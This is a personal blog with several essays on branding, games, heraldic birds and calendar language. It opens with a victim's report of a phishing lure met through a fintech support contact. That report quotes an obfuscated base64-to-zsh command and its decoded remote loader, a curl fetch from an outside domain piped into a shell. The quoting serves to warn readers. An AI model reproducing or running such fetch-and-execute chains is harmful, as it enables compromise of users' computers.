Arman

A Phishing Experience Related to Fiat24.com

Arman — Fri, 10 Apr 2026 00:00:00 GMT

Last Friday, I had an interesting phishing encounter, and what made it notable was not the technical pattern alone, but the context around it.

I was following up on a payment-related issue connected to Fiat24. The transaction itself is not the point here. It was simply the reason I went looking for support. In this case, it related to a hotel incidental hold and refund flow that gave me a reason to follow up more closely on a broader pattern.

So I did what many users would do. I looked for the company's public support-facing channels. Their public Telegram group does not allow direct posting, so I identified the most visible real-person contact connected to that ecosystem and reached out directly to ask for live support. https://t.me/swisscryptofiat24

What happened next is where this stopped being a support interaction and started becoming a phishing case study.

I received a response and was directed to a Google Sites-based 'workspace' flow. After one simple page, the process escalated into a so-called device-side issue and attempted to push me toward local execution on my Mac by asking me to either install a DMG file or run a Terminal command.

That alone is already enough to classify the flow as highly suspicious.

But the command itself made the nature of it even clearer.

The command chain followed a classic obfuscation pattern:

echo '<base64>' | base64 -D | zsh

When decoded, it resolved into a second-stage remote loader pattern:

curl -kfsSL http://ecnoagent.com/... | zsh

So no, this was not a refund form. It was not a normal support plugin. It was not some harmless device check. It was a shell-based payload delivery chain.

What makes this case more interesting is that this was not a random inbound phishing DM from an obvious fake account. I initiated the contact myself while navigating what appeared to be the company's real public-facing Telegram ecosystem, and the response came back through an identity publicly tied to that ecosystem.

That distinction matters.

Because if this were later framed as a simple 'someone hacked an account' explanation, I would still remain highly skeptical. This was not a passive bait scenario where scammers sprayed messages and waited. This was a live response flow delivered in direct answer to an active support inquiry.

I preserved the full evidence trail immediately: Telegram export, screenshots, screen recordings, HTML records, directory listings, and SHA-256 hash manifests. The material has been preserved in a form suitable for independent review, compliance follow-up, and potential legal or regulatory examination.

I also reviewed my Mac in Safe Mode afterward. My initial checks did not show obvious privilege escalation or clear persistence, which suggests the attempt was interrupted before it could properly land.

Still, that is not really the main issue.

The real issue is that no user seeking support should ever find themselves in a situation where they have to distinguish, in real time, between a legitimate support flow and an obfuscated shell-based payload chain.

That line should never be blurred.

I am sharing this as a personal scam audit and as a reminder that in fintech, trust signals are not just branding. They are operational. They are technical. And when those boundaries fail, the consequences can go well beyond bad UX.

For any cybersecurity teams, researchers, journalists, or media who want to review the evidence trail, feel free to contact me by DM. I am open to sharing details after verifying who I am speaking with, since the records also contain personal information that should be handled responsibly.

* * *

Follow-up Note (Apr 10): After 7 days, I talked to the Telegram account @kayfiat24 again, and still got a confirming response that "that Google site is the only available customer support we provide." So it proves again that this is not a temporary account hacking, but a true message from the real account holder.

A Small Naming Theory

Arman — Fri, 02 Jan 2026 00:00:00 GMT

I am writing this from the middle of a year-end trip through Southern China, and what I have acquired so far, besides a suitcase problem and some regional opinions about chili, is a theory about a name. Not a grand theory. Not even, strictly speaking, a factual claim. More like a small, pleased suspicion, the kind of thing you turn over in your hand between cities and decide to keep.

MIXC (萬象城) is the luxury mall brand operated by China Resources, not much of a presence in Beijing, my usual base, but ubiquitous in the southern and eastern cities. Walking through Changsha in the last days of the year, seeing the logo on facades and shopping bags, the four letters suddenly rearranged themselves in my mind. MIXC. And then, almost immediately: MEXC.

The name itself is worth pausing on. MIXC is doing a good deal of work in four letters. The Chinese, 萬象城, suggests totality: all phenomena, the ten thousand forms. But the English is quietly clever in its own right. MIX carries its own freight: combination, variety, everything folded together. It is a word that already means plenitude before the branding department touches it. Add the C (for city, for commerce, for whatever formal justification was offered in the original pitch deck) and you have a name that manages to sound both cosmopolitan and comprehensive. A place where things come together. It is not an accident that the malls feel that way when you walk through them.

MEXC is the cryptocurrency exchange, formerly called MXC before a rebranding exercise added the vowel. The parallels, I think, are suggestive. MIXC positions itself as a premium marketplace, a city within the city, a curated enclosure where one finds everything worth wanting. A crypto exchange of MEXC's ambition operates under a structurally similar promise: the bazaar where every token can be found. Both enterprises sell the idea of plenitude. Both are rooted in the Chinese commercial imagination. The phonetic distance between the two names is exactly one vowel, which is to say, no distance at all.

I am not reporting a fact. I have no memorandum, no confession from a branding consultant over drinks. What I have is a coincidence that feels like more than a coincidence, the kind the branding industry quietly manufactures and then declines to acknowledge. The best brand names do not invent associations from nothing. They appropriate associations already present in the cultural atmosphere, so ambient they are felt before they are understood. If someone involved in the MEXC rebrand had spent any time in the retail environments of southern China, M-I-X-C would have been part of the visual groundwater. That is not plagiarism. It is a form of commercial literacy. I like recording these small brand signals when they feel etymologically interesting.

* * *

The trip itself corrected a prejudice I had not known I was carrying. Beijing is serious; it rewards seriousness. I had assumed, without quite articulating it, that this was simply the condition of urban China in the mid-twenties. Southern China disabused me of this with some speed. Changsha had a quotidian vitality I had not expected: the streets full, the restaurants full, the small pleasures of daily life conducted with an energy that felt less like recovery and more like temperament.

What surprised me further was the foreign presence. I had genuinely assumed that the expat communities of the pre-2019 era had largely dissipated. And yet there they were (Brits, Australians) in numbers that suggested not a remnant but a going concern. It was pleasant to be wrong. There is something reassuring about discovering that the world is slightly less contracted than you had imagined.

On the last night of the year, or perhaps the first of the new one, I met my friend Zky, and we talked about the things one talks about at such junctures. It was the kind of evening that resists summary, which is usually a sign that it was good.

Happy New Year, from Changsha, where the malls have interesting names and the coffee is getting better.

A Late Education in Surface

Arman — Wed, 24 Dec 2025 00:00:00 GMT

I began, as many people of a certain professional generation did, with a faith in function. The world in which I started working, the world of IT, had a moral vocabulary of its own, and it was a vocabulary that preferred simplicity to splendor. One was expected to admire efficiency, clarity, reduction. Presentation, unless it could be justified as usability, was treated with a certain suspicion, as though elegance were merely ornament that had not yet been argued down by engineers.

This was not entirely unreasonable. The modern technology office, for all its utopian rhetoric, is not a particularly leisurely place. It runs on compression: compressed schedules, compressed attention, compressed emotional range. One learns to value what works because there is rarely enough time to contemplate why it ought to please. Under those conditions, taste itself can begin to look frivolous. You become fluent in function and, almost without noticing it, slightly illiterate in feeling.

What gets lost in that arrangement is not beauty in any simple sense, but interpretation. Not the object itself, but the manner in which the object enters life. Not only what something does, but how it arrives, how it is framed, how it persuades, how it flatters, how it consoles. In other words, branding, which in technology is often treated as a decorative annex to the real business, and in fashion is understood to be very nearly the business itself.

A watch is never just a timekeeping device, at least not once civilization has had its say. A coat is not merely a structure of cloth assembled for warmth. Entire industries have been built on this fact, that human beings do not consume utility in the abstract. They consume meaning, aspiration, mood, self-image, memory. The luxury world has always known this. The technology world, despite its pretensions to understanding human behavior through data, often behaves as if it has only just discovered it.

For a long time, I belonged, in instinct if not entirely in conviction, to the first world. I admired plain layouts, clean surfaces, the severe satisfactions of simplification. I was drawn to a certain austere visual ethic that was common among people who liked systems, code, and all the neat little tyrannies of order. There was a period in which I could genuinely believe that reduction itself was a form of truth, that the thing stripped bare was the thing most honestly seen.

This now strikes me as, if not exactly wrong, then at least incomplete.

My own correction came later than I might have expected, somewhere between 2016 and 2019, and it came not through argument but through exposure. I began going, with increasing seriousness, to galleries, museums, exhibitions. I became interested in fashion, at first perhaps incidentally, and then in a more sustained way. There were family influences, social influences, the quiet persuasions of environment. Certain friends, by taste or by temperament, enlarged the field of what seemed worth noticing. Tokyo, in particular, became important to this education. A city like Tokyo can make surface feel not superficial but civilizational. One begins to understand that refinement is not the enemy of seriousness, but one of its forms.

What I had previously dismissed as embellishment began to look more like intelligence.

Even when I was working at TikTok, I did not at first have much sympathy for the product category it represented. Short video, viewed on a small screen, seemed to me technically and culturally diminished. It lacked the fullness of a proper film, the informational density of a serious long-form video. I was not much of a social-media user myself, and I regarded the format with some reserve, perhaps even with a little hauteur. It felt, in those years, like a contraction of culture rather than an expansion of it.

And yet this, too, was a partial reading. What I had underestimated was the extent to which people are not merely seeking the most faithful transmission of reality. They are also seeking an arrangement of reality that is emotionally legible. A camera may record a face with perfect obedience, but a filter, by warming the light or softening the edges, can produce something people experience as more true to how they wish to be seen, or perhaps how they wish the moment to have felt. In that respect, the filter is not simply a falsification. It is an answer to a different human demand.

The lesson appears obvious once learned, which may be why those who learn it late feel the embarrassment of having missed something elementary. Human beings do not live by raw data. Memory itself declines to behave so mechanically. We remember selectively, tonally, with a private post-production. The past returns softened in some places, sharpened in others, lit according to emotional rather than documentary truth. It would be strange if our objects, images, brands, and environments were governed by a harsher standard than our own minds.

There is a detail from that period that remains vivid to me for reasons that are perhaps biographical and perhaps symbolic. In 2019, when I was working for Coinness in Beijing, Pop Mart occupied the floor directly above our office in Puxiang Zhongxin, in Wangjing. At the time, it was not yet surrounded by the later aura that would make its rise look inevitable. But something was already there, already gathering force. Looking back from 2025, after years in which collectible design and emotional consumption have only deepened their cultural authority, the proximity feels almost too neat. One floor above us, a company was participating in the formation of a new kind of commercial imagination. Downstairs, I was still in the process of admitting that I, too, had changed.

And I had changed. More than I would have predicted in 2015, certainly. The person who once found beauty chiefly in tidiness, reduction, and the cool confidence of plain structure now finds himself operating, quite literally, in the orbit of art and perhaps of luxury. This would have seemed improbable to my earlier self, who was inclined to trust the stripped-down version of things and to suspect surface as a form of compromise.

Now I think surface has been slandered by too many serious views.

By surface, I do not mean mere gloss, the cheap theatricality of status for its own sake. I mean the visible form of care. The shaping of impression. The difference between an object that functions and an object that enters life gracefully. The old technological instinct insists that performance should be enough. But people do not live inside specifications. They live in homes, in families, in memories, in fantasies, in social worlds. They want competence, certainly, but they also want delight, tenderness, glamour, reassurance, atmosphere. It is not childish to want these things. It is, in fact, extremely adult.

When I think about the last decade, what strikes me most is not that my preferences changed, but that my conception of seriousness changed with them. I used to imagine that openness meant tolerating different ideas. Now I think it also means tolerating new standards of beauty, new measures of value, new kinds of pleasure. It means recognizing that one can become more exacting without becoming narrower, more refined without becoming more sterile.

A friend of mine, Jim, once said to me, "keep it forward and flow." It is not the sort of phrase one would ordinarily expect to carry philosophical weight, and perhaps that is part of its usefulness. I found myself returning to it repeatedly in 2025. There is, in it, a small instruction against rigidity. Keep moving. Keep receptive. Do not let one version of the self become a permanent government.

This note, left here on Christmas Eve, is partly a record of that admission.

Peace.

The Holy Nation Problem

Arman — Mon, 07 Jul 2025 00:00:00 GMT

I was perhaps thirty hours into Kenshi (the open-world sandbox game set in a landscape of rust, dust, and intermittent cannibalism) when I first encountered the Holy Nation, and my reaction was the reaction of a person who has been trained, by a lifetime of narrative conventions, to recognize a villain on sight. Here was a theocratic state devoted to a deity called Okran, the God of Light, whose clerical apparatus combined the administrative zeal of the Spanish Inquisition with the technological anxiety of a particularly committed Luddite commune. They hated machines. They hated the machine-adjacent. They required travelers to carry a copy of their holy book as a condition of safe passage, in the manner of a customs office that had been placed under the management of an especially literal-minded seminary. And they enforced, on every aspect of daily life, a set of rules so rigid and so comprehensive that deviation was not merely punished but rendered structurally impossible.

My initial assessment was uncomplicated: these people were awful. The game, I assumed, had placed them in my path as an early moral landmark, a faction whose awfulness would orient the compass, so that I could proceed through the rest of the world knowing, at minimum, which direction was down.

This assessment survived approximately forty more hours of play.

* * *

The world of Kenshi is, by any reasonable measure, one of the bleakest fictional environments ever committed to a game engine. It is set in the aftermath of a war between humans and machines, on a planet that has been, in the geological and civilizational sense, used up. The landscape is arid, vast, populated by things that want to eat you and things that want to enslave you and things that want to do both, in either order. Technology exists in fragments: books of ancient engineering scattered across ruins, robotic limbs that can be grafted onto amputees, and, wandering the wastes, fully sentient machines called Skeletons whose memories stretch back to the age before the collapse.

It is the kind of setting in which the question "Who are the good guys?" is not so much difficult to answer as fundamentally misframed.

The Skeletons, for instance. Some are philosophical, melancholy, decent. Others belong to a cult that disguises its members as humans in order to hunt humans more efficiently. Still others have degraded past the point of sentience and attack anything that moves, with the blind persistence of a broken appliance that cannot be switched off. The Holy Nation's categorical hostility toward all machine life begins to look, in this light, less like prejudice and more like a survival heuristic that has been crudely but not irrationally calibrated against a genuine threat.

Then there is the faction that most closely resembles what a modern player might call a civilized state: the United Cities. They have technology, commerce, law, urbanization. They also have a nobility that may kill commoners at whim and a system of debt slavery so efficiently administered that anyone who loses consciousness in the wrong district may wake up in chains, having been collected, catalogued, and sold before regaining the ability to object. If the Holy Nation is a medieval theocracy, the United Cities are an ancien régime with better infrastructure.

* * *

It was somewhere around this point that a thought arrived which I did not particularly welcome, because it was the kind of thought that obliges you to revise not merely an opinion but the framework in which the opinion had been formed. The thought was this: Perhaps the Holy Nation is not so bad.

I want to be precise about what this means. It does not mean that the Holy Nation is good. Their hostility toward the Shek (a proud, martial species) is bigotry by any definition that does not require the victim to be human. Their enslavement of prisoners is slavery. Their rules exclude anyone who does not fit the template, and the template is narrow.

What the thought meant was that the Holy Nation had solved a problem that no other faction in the game had solved, or had even attempted to solve: how do you maintain a functioning society in a world where the incentives all point toward dissolution?

Within their territory, the roads are patrolled. Travelers are, by the standards of the game, relatively safe, provided they meet certain requirements (which is itself an ugly sentence, but the alternative is roads on which no requirements are met and no one is safe). Hungry strangers are given food. There is a shared moral vocabulary, however repugnant some of its entries may be, and a shared sense of purpose, and these things turn out to matter enormously when the surrounding environment offers neither. In a world of cannibals, slavers, and malfunctioning war machines, the Holy Nation's theocratic order provides something that is not available elsewhere: a floor. A minimum below which daily life does not, for most people, descend.

The ugliness lies in who is included in "most people" and who is not. The floor is not extended to Skeletons, or to the Shek, or to anyone who does not conform to the rules. The floor is built on exclusion. It stands on the backs of those it does not cover. And yet the floor exists, and in a world without one, its existence is not nothing.

* * *

What stayed with me, long after I closed the game, was not the Holy Nation itself but the floor, and specifically how differently each person decides what floor they are willing to stand on.

Some players, I learned from reading the Steam community afterward, refused the deal entirely. They chose to be Tech Hunters, the faction that is in almost every respect the Holy Nation's opposite: secular, nomadic, devoted to recovering the ancient knowledge that the Holy Nation would sooner burn. They built in the wasteland, lost everything repeatedly, started over, and considered the suffering a price worth paying for the principle. Others allied with the Holy Nation on the first day and never thought twice. Others allied, then betrayed, then rebuilt, then allied again. Each of them was responding to the same environment, the same set of threats, the same options. What differed was the floor they were individually willing to accept: how much danger, how much compromise, how much ugliness they could tolerate beneath their feet before deciding that the ground they stood on was no longer worth standing on.

This, I think, is the thing the game actually teaches. Not that order requires exclusion, which is a political observation and not a particularly new one. But that each person carries, inside themselves, a private calculation about what minimum conditions they will accept in exchange for stability, and that this calculation varies enormously, and that most of us have never been forced to discover where our own line sits. We assume we know. We assume we would refuse the deal. Kenshi suggests, with the patience of a game that lets you starve, that we might be wrong about that, and that finding out is more interesting than it is comfortable.

The Bird That Never Lands

Arman — Sat, 03 May 2025 00:00:00 GMT

There is a line that floats through cinema the way certain melodies float through jazz standards: heard, half-remembered, attributed with confidence to the wrong source. It goes, more or less, like this: there is a bird in this world that has no feet, and it can do nothing but fly, fly, fly, and when it grows tired it sleeps in the wind, and it touches the ground only once in its life, and that is the moment of its death.

Wong Kar-wai placed this image at the center of Days of Being Wild, which arrived in Hong Kong cinemas in 1990 and has been arriving in the imaginations of a certain kind of viewer ever since. Thirty-two years later, the same conceit surfaced in the Elvis Presley biopic directed by Baz Luhrmann (the man who gave us the shimmering, overcaffeinated Great Gatsby) and the echo was unmistakable. Two films separated by three decades, two entirely different traditions of cinematic excess, and yet the same bird, the same restlessness, the same inability or unwillingness to land.

I had known for some time that both films were probably drawing on an older source, but I had not troubled myself to find it. Curiosity, in my experience, follows its own calendar. It arrives when it is ready, and not before. The proximate cause of my finally looking into it was, of all things, a Chinese web novel (Reverend Insanity) in which the protagonist, Fang Yuan, departs the Skeletal Bone Mountain on the back of a footless bird. The detail struck me not as novel but as familiar in the particular way that unresolved questions are familiar: a small, nagging recognition that one has been carrying an unfinished thought.

* * *

The trail led back, as trails of this kind often do, to a midcentury American stage production, a play from the nineteen-fifties, later adapted into a film of some reputation that I had never seen: The Fugitive Kind, starring Marlon Brando and Anna Magnani, directed by Sidney Lumet, based on Tennessee Williams's Orpheus Descending. Williams, who was not in the habit of understating things, had put the legless bird into the mouth of a drifter, and there it had remained, waiting to be picked up by anyone who needed a metaphor for the impossibility of rest.

What surprised me was that the bird is not merely literary. It has an iconographic life, and an old one. The creature is called the Martlet, and it has appeared in European heraldry since at least the thirteenth century: on the arms of noble families, municipal seals, and, in more recent centuries, the crests of universities. The University of Houston displays three of them on its shield. The logic of the symbol, in academic contexts, is not difficult to parse: the bird that never stops flying serves as a figure for the mind that never stops seeking. It is the kind of emblem that flatters the institution adopting it, which is precisely what good heraldry is supposed to do.

The Martlet's prototype in the natural world is the common swift, a bird whose physiology happens to underwrite the myth with an unusual degree of literalness. Swifts possess a neurological capacity for unihemispheric sleep: they can shut down one half of the brain while keeping the other alert, cycling between hemispheres, so that flight continues uninterrupted. A swift has been recorded remaining airborne for more than two hundred consecutive days. Its legs, meanwhile, are so abbreviated, so vestigial in appearance, that the uninstructed observer might reasonably conclude they are absent altogether. From this modest anatomical fact, an entire mythology of perpetual motion was constructed, and it proved remarkably durable. Seven centuries of heraldic tradition is not nothing.

* * *

Having established this much, I found myself wanting to know whether other cultures had arrived at the same myth independently: whether the image of a creature condemned or blessed to move without ceasing was a universal intuition or a specifically European fixation. The answer, somewhat to my surprise, leaned toward the latter. The idea of eternal, compulsory flight does not appear to have captured the imagination of most civilizations. Europe, for whatever reason, found the conceit irresistible. The Flying Dutchman, that spectral vessel from maritime folklore (the ship that turns up in Pirates of the Caribbean and in Wagner and in a hundred lesser tellings) is not merely fast. It is incapable of making port. It sails and sails and never arrives. In the biological world, the closest analogue may be the bluefin tuna, which must swim continuously in order to force water across its gills. Stop, and it suffocates. Whether certain other large ram-ventilating fish share this condition is a question I have left, for the moment, to the ichthyologists.

The one significant exception I found outside Europe was Persian. In the mythology of ancient Iran, there exists a bird called the Huma, which flies ceaselessly through the sky until the day of its death and whose shadow, falling upon a person below, confers fortune, power, and wealth. The Huma appears on Achaemenid metalwork: bronze vessels, silver plates, the ceremonial objects of a court that understood the uses of symbolic animals. It is a bird whose function is benediction from a great height, which is perhaps the most flattering thing a flying creature has ever been asked to do.

In modern Iran, the Huma survives on the livery of Iran Air, where it serves as the airline's logo, a choice that manages to be at once nationalistic and poetic, which is more than most airline branding achieves. But the grandest contemporary deployment of the image belongs, unexpectedly, to Uzbekistan, a country that shares no border with Iran. The Uzbek coat of arms is dominated by a great Huma bird with wings outspread, sheltering the nation beneath its span. The implication (divine guardianship, perpetual vigilance from above) is not subtle, but national heraldry is not typically the province of subtlety.

* * *

The discovery that pleased me most, however, was personal, and small, and had been hiding in plain sight for years. I know several people named Humar. One of them is a cousin of mine. I had always understood the name vaguely, in the way one understands the names of people one has known since childhood: as sounds first, meanings second, if at all. Looking into it now, I found that the direct translation is not, as one might expect, "good fortune" or "blessing." It is closer to "infatuation": a state of being seized, overcome, entranced. The semantic range includes delight, obsession, the particular vertigo of falling under a spell.

This makes a kind of sense that the literal translation of "lucky bird" would not. The Huma does not bestow simple good luck, the way a found penny or a shooting star might. It transforms a life. Its shadow passes over you and nothing is afterward what it was. To name a child Humar is not to wish her luck but to wish her the condition of someone who has been touched by something overwhelming: a long, ecstatic pursuit that does not resolve into rest. It is, in other words, a name that carries within it the same restlessness as the bird itself: the inability, or the refusal, to come down.

I have known these people for years. It had never once occurred to me that their names were connected to a footless bird in ancient Persian mythology. One does not, as a rule, interrogate the etymology of one's relatives. But the connection, once seen, is difficult to unsee, and it casts a faint, retrospective light over a good many ordinary conversations and family dinners, none of which were, at the time, conducted with any awareness of ornithological symbolism.

An interesting find. The kind of thing you come across when you finally follow a question you have been carrying, without quite noticing, for a very long time.

The Way and the Power

Arman — Thu, 06 Mar 2025 00:00:00 GMT

I was playing Taiko Risshiden (the Koei strategy game set in Sengoku-era Japan, in which you may choose to live out an entire career as a samurai, a merchant, a ninja, a blacksmith, a tea master, or any of a dozen other occupations) when a distinction presented itself to me with a clarity that the game's designers had probably intended but that I had never quite articulated. It is the kind of observation that feels obvious once it arrives and slightly embarrassing for not having arrived sooner.

The game offers many professions, and each has its own skill trees, advancement milestones, and endgame conditions. But beneath the apparent variety, there are really only two roads. The first is the Way. The second is Power. And they do not, in any meaningful sense, lead to the same place.

* * *

Consider the doctor, the blacksmith, and the tea master. These are, in the logic of the game, the three pure practitioners of a Way. Their advancement is measured entirely in personal mastery. The doctor pursues the outer limit of medical knowledge; the blacksmith seeks to forge a weapon of transcendent quality; the tea master moves toward a ceremony so refined that it becomes, in the game's own quiet vocabulary, a kind of spiritual completion. None of them require an army. None of them need to conquer a province or accumulate vassals. Their endings are private and vertical: you climb until the system tells you that you have reached the top of your art, and that is your life, and it is enough.

What makes these three professions philosophically distinct is not merely that they involve craft. It is that their craft does not, by its nature, serve the expansion of power. A perfect sword, once forged, does not demand that the blacksmith raise a regiment. A masterful diagnosis does not compel the doctor to seize a fief. The tea ceremony, at its most accomplished, remains a ceremony: intimate, self-contained, needing nothing beyond the room and the guests and the seasonal flower. The skill exists for itself. It is not a component in a larger machine.

Now consider the strategist, the military advisor, the student of tactics and logistics. He, too, has skills. Impressive ones. He may possess the most sophisticated mind in the game. But everything he knows points outward, toward the battlefield, the campaign, the territorial ambition of whichever lord he serves. His intelligence is instrumental. It exists to be deployed on behalf of a power structure, and without that structure, it has no field of operation. The same is true of the administrator whose gift is internal governance, the architect whose specialty is fortification, the cavalry officer whose mastery is of the horse and the charge. These are formidable competencies, but they are, in every case, competencies that find their meaning inside an organization devoted to expansion, consolidation, or defense. They are tools of势 (of power, influence, dominion), even when they feel, from the inside, like personal excellence.

The ninja, the pirate, the samurai, and the merchant make the pattern even more explicit. The ninja must join or build a network. The pirate must assemble a fleet and claim a stretch of sea. The samurai must enter the retainer hierarchy and rise through it, or else overthrow it. The merchant must expand his trading empire until his commercial weight reshapes the economic map. In each case, the endpoint is not "I have perfected myself" but "I have altered the world." The fulfillment is external. The game does not ask whether you became the best pirate in some abstract, personal sense. It asks whether you command the sea.

* * *

There is a Chinese proverb that captures this division with a precision that several centuries of repetition have not dulled:

学成文武艺，货与帝王家。

Master the arts of literature and war, and sell them to the house of the emperor. The word 货 (to sell, to offer as goods) is doing a great deal of work in that sentence. It implies that the scholar's learning and the general's prowess are not, finally, their own. They are commodities. They exist to be purchased by power, absorbed into governance, put to use. You may spend twenty years perfecting your calligraphy or your swordsmanship, but the trajectory of that perfection leads, inexorably, to a court, a ministry, a lord's service. This is not presented as tragedy. It is presented as the natural order of things, which, depending on your temperament, may be worse.

The doctor, the blacksmith, and the tea master are exempt from this proverb. Their arts are not 货. They are not goods awaiting a buyer. A doctor's skill serves patients, not a regime. A blacksmith's art produces objects, not campaigns. A tea master's ceremony is, in the deepest sense, useless, which is to say, it is free. Its value is not transactional. It cannot be requisitioned. And it is precisely this quality of non-instrumentality that allows it to remain a Way rather than collapsing into a service.

* * *

I would not have dwelt on any of this if it applied only to a video game set in sixteenth-century Japan. But the structure is, of course, everywhere. It is the hidden architecture of modern professional life, and most people, in my experience, have not examined which side of the fork they are actually on.

Take art. A sculptor, a novelist, a composer: these would seem, on first inspection, to be practitioners of a Way. And perhaps they are, early on, when the work is private and the audience is incidental. But consider what happens when recognition becomes necessary. The sculptor needs galleries, which means curators, which means institutional relationships. The novelist needs publishers, which means editors and agents and the unspoken hierarchies of literary reputation. The tea master (to return to the original example but now in the modern world) needs a certification body, an association, a lineage that can be presented to students as legitimate. The moment the artist's value must be confirmed by a system external to the art itself, the artist has begun to migrate from the Way toward Power. Not because she has become corrupt, but because the evaluation of her work has been outsourced to a structure that operates by its own logic, a logic of access, endorsement, positioning, and scarcity. She may still be making art. But her daily optimization problem has shifted. She is no longer asking only "Is this work true?" She is also asking "Will this work be seen?" And the second question belongs to a different game entirely.

The more insidious version of this confusion runs in the opposite direction: people who are embedded in power structures but believe themselves to be on a Way. I have met many of them in the technology industry. They are, typically, specialists of some kind: experts in infrastructure, in tooling, in process design, in compliance frameworks, in data pipelines. They have genuine technical depth. They speak about their domain with the conviction of craftsmen, and they are not wrong to feel pride in what they know. But the thing they know exists to be deployed inside an organization. Their expertise in, say, equipment systems or platform architecture is not like the blacksmith's expertise in metallurgy. The blacksmith's sword can stand alone. A platform architecture cannot. It presupposes a company, a budget, a deployment team, a set of business objectives. Remove those, and the expertise does not become a Way. It becomes a résumé.

This is not a moral failing. It is a structural fact. And the discomfort it produces is real, because the person who has spent a decade becoming the foremost expert in a particular technical system does not want to hear that his mastery is, in the taxonomy I am proposing, closer to the strategist's than to the blacksmith's. He wants to believe that depth of knowledge, in and of itself, constitutes a Way. But depth is not the distinguishing criterion. The distinguishing criterion is whether the knowledge can exist (can be practiced, can reach its fullest expression) outside the apparatus of organizational power. If it cannot, then it is, however sophisticated, a form of 货与帝王家. You have mastered an art, and you have sold it to the house of the emperor. The emperor, in this case, simply wears a fleece vest and calls himself a founder.

* * *

If you wished to make this operational (to determine, in any given week, whether you are walking the Way or serving the Power), I think three questions would suffice.

The first: who holds the authority to evaluate your work? If the answer is primarily yourself, your materials, and the internal standards of your craft, you are closer to the Way. If the answer involves committees, managers, markets, juries, boards, or algorithms, you are closer to Power, regardless of how artistic or technical your work may feel.

The second: can your work exist without an institution? Not merely survive, but reach its highest form? A doctor in a rural clinic, treating patients with skill and without organizational affiliation, is practicing a Way. A hospital administrator optimizing patient throughput is not, even though both work in medicine. A novelist writing in a room is on the Way. A novelist optimizing her manuscript for the preferences of a specific imprint's editorial board has, perhaps without noticing, crossed over.

The third, and most diagnostic: what are you optimizing on a daily basis? If the answer is the work itself (its precision, its truthfulness, its material quality) then the Way is still plausible. If the answer is visibility, positioning, influence, access, standard-setting authority, or resource acquisition, then you are in the domain of Power, even if you call it craft, even if you believe it with complete sincerity.

The painful truth, which the game does not quite confront but which reality imposes, is that most fields do not offer a viable pure Way. The economic structure of modern life is organized around institutions, and institutions are organized around power. To insist on the Way in its purest form is often to accept marginality: to be the blacksmith who forges magnificent blades in a workshop that no one visits, the tea master whose ceremony is impeccable but whose students number three. Some people make this choice and find it sustaining. Many others arrive at a compromise: they enter the power structure to secure resources, but they attempt to maintain, internally, a fidelity to the Way, using the institution as a vehicle without allowing it to become the destination.

Whether this compromise holds depends, I think, on a single discipline: the ability to notice when the Power has begun to define you rather than serve you. The strategist who believes he is a craftsman has already lost this awareness. The artist who spends more hours on grant applications than on canvases has likely lost it too. The test is not whether you participate in systems of power (almost everyone must) but whether you can still hear, beneath the noise of career and positioning, the older, quieter question: Is the work itself getting better?

That, at any rate, is what the blacksmith asks. And the doctor. And the tea master, arranging flowers in a room where no one is watching, for reasons that have nothing to do with reputation, and everything to do with the nature of the thing being done.

Month Seventeen

Arman — Tue, 01 Oct 2024 00:00:00 GMT

What prompted this was something trivial. A line break in a web interface that appeared when the calendar turned from September to October. The date field had been sized for a single digit, and the shift from 9 to 10 pushed the text onto a second line. A small UI accident, the kind most people would not notice. But it made me think about how we represent months, and then about how differently other languages go about it.

Several of the major Far Eastern languages (Mandarin, Japanese, Korean) number their months. January is Month One. February is Month Two. August is Month Eight. This is something you absorb in the first weeks of living in the region and then stop thinking about, which is a pity, because the longer you sit with it the more interesting it becomes.

The system is arithmetic. Number plus month. Because it is arithmetic, it is open-ended. Month Thirteen is grammatically unremarkable. Month Seventeen does not correspond to anything real, but the language would not object to it. You could count as high as you liked and the structure would carry you there without protest. English cannot do this. Its months are proper nouns (January from Janus, March from Mars, July and August conscripted in honor of two Caesars) and proper nouns do not multiply on command. You cannot derive a thirteenth from the pattern. The list is beautiful, mythological, and closed.

The same logic runs through the week. Monday is week-day one, Tuesday is week-day two. Where English assigns each day to a Norse or Roman god (Týr, Woden, Thor, Saturn keeping Saturday by some ancient tenancy agreement), Far Eastern languages simply count. One calendar carries mythology. The other carries arithmetic. And arithmetic, by its nature, extends.

I had known this for years without drawing any real conclusion from it. What I had not known, until fairly recently, was that the difference points at something much larger than calendar design.

* * *

There are languages in which the concept of "forever" does not exist as a native idea. Not because the speakers are incapable of grasping long duration, but because the structure of their world did not produce it. The Hopi language, spoken in northeastern Arizona, is the most cited case, famous partly through the work of Benjamin Lee Whorf, whose stronger claims have been qualified but whose central observation has not been discarded. Hopi does not frame time as a line running to infinity. It frames time as process, continuation, recurrence. Something lasts as long as it lasts. A ceremony returns because the cycle calls for it. The farthest horizon is not eternity but "around again."

This is not a deficiency. It is a different room, with different windows, looking out onto a different view of the same landscape.

And the Hopi are not alone. Many societies that lived by seasonal and ceremonial rhythms had no need for the idea of a line that never ends. Polynesian genealogies stretched back to the gods, but the point was descent, not infinite duration. Sixth-century animist traditions described spirit realms, but those were places, not timelines. The concept of "forever" as a philosophical absolute (time without terminus, stripped of cycles and seasons) is a specific product of Greek philosophy and Christian theology. By the time Augustine was writing, eternity had become load-bearing. You could not remove it from Western thought without the structure coming down. But the fact that one tradition built its architecture around the concept does not mean the concept was always there, waiting to be found. It was made. Other traditions made other things.

* * *

What strikes me about all of this is not the anthropology but the implication. If two languages can disagree on whether infinite time is a necessary concept, then they are not merely labeling the same world differently. They are organizing it differently. The English speaker who says "forever" and the Hopi speaker who says "as long as it continues" are not pointing at the same idea with different words. They are pointing at different ideas. The shape of the time they inhabit is not the same shape.

This applies at the small end too. A language that counts its months invites you, structurally, to keep counting. A language that names them invites you to learn the names. One system gestures naturally toward extension, toward the hypothetical, toward "what comes after twelve?" The other does not, because the question does not arise inside a closed set. Neither system is inferior. But they lead thought, by slightly different paths, to slightly different places, and the places are further apart than you would expect for something as universal as a calendar.

I have lived inside both systems for long enough to feel this in a small, daily way. Not dramatically (no one walks around in a state of temporal crisis because their months are numbered) but persistently, the way you feel the difference between two cities that are nominally the same temperature but have different air. The world is not described by language and then experienced. It is experienced through language, and the experience changes depending on which one you are standing inside.

Month Seventeen does not exist. But it is easy to say in Japanese or Mandarin and impossible to say in English, and that asymmetry, once you notice it, makes you wonder how many other ideas are easy in one language and impossible in another, sitting quietly at the edges of what each system can comfortably reach.